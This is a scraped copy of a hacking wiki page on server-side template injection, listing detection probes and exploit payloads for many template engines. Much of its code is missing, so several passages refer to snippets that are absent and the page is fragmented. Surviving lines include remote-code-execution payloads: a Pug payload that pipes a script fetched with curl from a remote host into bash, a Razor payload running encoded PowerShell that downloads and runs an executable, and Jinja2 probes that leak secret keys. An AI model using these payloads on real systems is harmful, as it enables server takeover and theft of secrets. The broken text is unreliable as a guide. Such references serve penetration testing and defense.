SSTI (Server Side Template Injection)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F129538173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FelPCTwoecVdnsfjxCZtN%252Fimage.png%3Falt%3Dmedia%26token%3D9ee4ff3e-92dc-471c-abfe-1c25e446a6ed&width=768&dpr=4&quality=100&sign=2c225e3d&sv=1)
RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
What is SSTI (Server-Side Template Injection)
Server-side template injection is a vulnerability that occurs when an attacker can inject malicious code into a template that is executed on the server. This vulnerability can be found in various technologies, including Jinja.
Jinja is a popular template engine used in web applications. Let's consider an example that demonstrates a vulnerable code snippet using Jinja:
In this vulnerable code, the name
parameter from the user's request is directly passed into the template using the render
function. This can potentially allow an attacker to inject malicious code into the name
parameter, leading to server-side template injection.
For instance, an attacker could craft a request with a payload like this:
The payload {{bad-stuff-here}}
is injected into the name
parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.
To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.
Detection
To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. This involves injecting a sequence of special characters (${{<%[%'"}}%\
) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include:
Thrown errors, revealing the vulnerability and potentially the template engine.
Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.
Plaintext Context: Distinguish from XSS by checking if the server evaluates template expressions (e.g.,
{{7*7}}
,${7*7}
).Code Context: Confirm vulnerability by altering input parameters. For instance, changing
greeting
inhttp://vulnerable-website.com/?greeting=data.username
to see if the server's output is dynamic or fixed, like ingreeting=data.username}}hello
returning the username.
Identification Phase
Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include ${7/0}
, {{7/0}}
, and <%= 7/0 %>
. Observing the server's response to mathematical operations helps pinpoint the specific template engine.
Tools
an efficient SSTI + CSTI scanner which utilizes novel polyglots
an interactive table containing the most efficient template injection polyglots along with the expected responses of the 44 most important template engines.
Exploits
Generic
In this wordlist you can find variables defined in the environments of some of the engines mentioned below:
Java
Java - Basic injection
Java - Retrieve the system’s environment variables
Java - Retrieve /etc/passwd
FreeMarker (Java)
You can try your payloads at https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
Freemarker - Sandbox bypass
⚠️ only works on Freemarker versions below 2.3.30
More information
In FreeMarker section of https://portswigger.net/research/server-side-template-injection
Velocity (Java)
More information
In Velocity section of https://portswigger.net/research/server-side-template-injection
Thymeleaf
In Thymeleaf, a common test for SSTI vulnerabilities is the expression ${7*7}
, which also applies to this template engine. For potential remote code execution, expressions like the following can be used:
SpringEL:
OGNL:
Thymeleaf requires these expressions to be placed within specific attributes. However, expression inlining is supported for other template locations, using syntax like [[...]]
or [(...)]
. Thus, a simple SSTI test payload might look like [[${7*7}]]
.
However, the likelihood of this payload working is generally low. Thymeleaf's default configuration doesn't support dynamic template generation; templates must be predefined. Developers would need to implement their own TemplateResolver
to create templates from strings on-the-fly, which is uncommon.
Thymeleaf also offers expression preprocessing, where expressions within double underscores (__...__
) are preprocessed. This feature can be utilized in the construction of expressions, as demonstrated in Thymeleaf's documentation:
Example of Vulnerability in Thymeleaf
Consider the following code snippet, which could be susceptible to exploitation:
This indicates that if the template engine processes these inputs improperly, it might lead to remote code execution accessing URLs like:
More information
Spring Framework (Java)
Bypass filters
Multiple variable expressions can be used, if ${...}
doesn't work try #{...}
, *{...}
, @{...}
or ~{...}
.
Read
/etc/passwd
Custom Script for payload generation
More Information
Spring View Manipulation (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Old version of Pebble ( < version 3.0.9):
New version of Pebble :
Jinjava (Java)
Jinjava is an open source project developed by Hubspot, available at https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Fixed by https://github.com/HubSpot/jinjava/pull/230
More information
Hubspot - HuBL (Java)
{% %}
statement delimiters{{ }}
expression delimiters{# #}
comment delimiters{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discovered the Jinjava project on Github.
More information
Expression Language - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) is a fundamental feature that facilitates interaction between the presentation layer (like web pages) and the application logic (like managed beans) in JavaEE. It's used extensively across multiple JavaEE technologies to streamline this communication. The key JavaEE technologies utilizing EL include:
JavaServer Faces (JSF): Employs EL to bind components in JSF pages to the corresponding backend data and actions.
JavaServer Pages (JSP): EL is used in JSP for accessing and manipulating data within JSP pages, making it easier to connect page elements to the application data.
Contexts and Dependency Injection for Java EE (CDI): EL integrates with CDI to allow seamless interaction between the web layer and managed beans, ensuring a more coherent application structure.
Check the following page to learn more about the exploitation of EL interpreters:
EL - Expression LanguageGroovy (Java)
The following Security Manager bypasses were taken from this writeup.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Ffiles.gitbook.com%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FelPCTwoecVdnsfjxCZtN%252Fimage.png%3Falt%3Dmedia%26token%3D9ee4ff3e-92dc-471c-abfe-1c25e446a6ed&width=768&dpr=4&quality=100&sign=9c8fe74f&sv=1)
RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
Smarty (PHP)
More information
In Smarty section of https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
Twig - Template format
More information
In Twig and Twig (Sandboxed) section of https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Plates is a templating engine native to PHP, drawing inspiration from Twig. However, unlike Twig, which introduces a new syntax, Plates leverages native PHP code in templates, making it intuitive for PHP developers.
Controller:
Page template:
Layout template:
More information
PHPlib and HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB is the same as PHPlib but ported to Pear.
authors.tpl
authors.php
More information
Jade (NodeJS)
More information
In Jade section of https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate non-compiling PHP templating engine, that uses XML tags to divide a document into different parts
More information
Handlebars (NodeJS)
Path Traversal (more info here).
= Error
${7*7} = ${7*7}
Nothing
More information
JsRender (NodeJS)
Template | Description |
Evaluate and render output | |
Evaluate and render HTML encoded output | |
Comment | |
and | Allow code (disabled by default) |
= 49
Client Side
Server Side
More information
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Example server side render
More information
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = No output
#{7*7} = #{7*7}
{{console.log(1)}} = Error
More information
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
More information
Slim (Ruby)
{ 7 * 7 }
More information
Python
Check out the following page to learn tricks about arbitrary command execution bypassing sandboxes in python:
Bypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
More information
Jinja2 (Python)
Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Template format
RCE not dependant from __builtins__
:
More details about how to abuse Jinja:
Jinja2 SSTIOther payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
More information
Razor (.Net)
@(2+2) <= Success
@() <= Success
@("{{code}}") <= Success
@ <=Success
@{} <= ERROR!
@{ <= ERRROR!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
The .NET System.Diagnostics.Process.Start
method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in https://github.com/cnotin/RazorVulnerableApp
More information
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nothing<%= response.write(date()) %>
= <Date>
More Information
Mojolicious (Perl)
Even if it's perl it uses tags like ERB in Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Error
SSTI in GO
In Go's template engine, confirmation of its usage can be done with specific payloads:
{{ . }}
: Reveals the data structure input. For instance, if an object with aPassword
attribute is passed,{{ .Password }}
could expose it.{{printf "%s" "ssti" }}
: Expected to display the string "ssti".{{html "ssti"}}
,{{js "ssti"}}
: These payloads should return "ssti" without appending "html" or "js". Further directives can be explored in the Go documentation here.
XSS Exploitation
With the text/template
package, XSS can be straightforward by inserting the payload directly. Contrastingly, the html/template
package encodes the response to prevent this (e.g., {{"<script>alert(1)</script>"}}
results in <script>alert(1)</script>
). Nonetheless, template definition and invocation in Go can bypass this encoding: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
RCE exploitation differs significantly between html/template
and text/template
. The text/template
module allows calling any public function directly (using the “call” value), which is not permitted in html/template
. Documentation for these modules is available here for html/template and here for text/template.
For RCE via SSTI in Go, object methods can be invoked. For example, if the provided object has a System
method executing commands, it can be exploited like {{ .System "ls" }}
. Accessing the source code is usually necessary to exploit this, as in the given example:
More information
More Exploits
Check the rest of https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection for more exploits. Also you can find interesting tags information in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Related Help
If you think it could be useful, read:
Tools
Brute-Force Detection List
Practice & References
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Ffiles.gitbook.com%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FelPCTwoecVdnsfjxCZtN%252Fimage.png%3Falt%3Dmedia%26token%3D9ee4ff3e-92dc-471c-abfe-1c25e446a6ed&width=768&dpr=4&quality=100&sign=9c8fe74f&sv=1)
RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated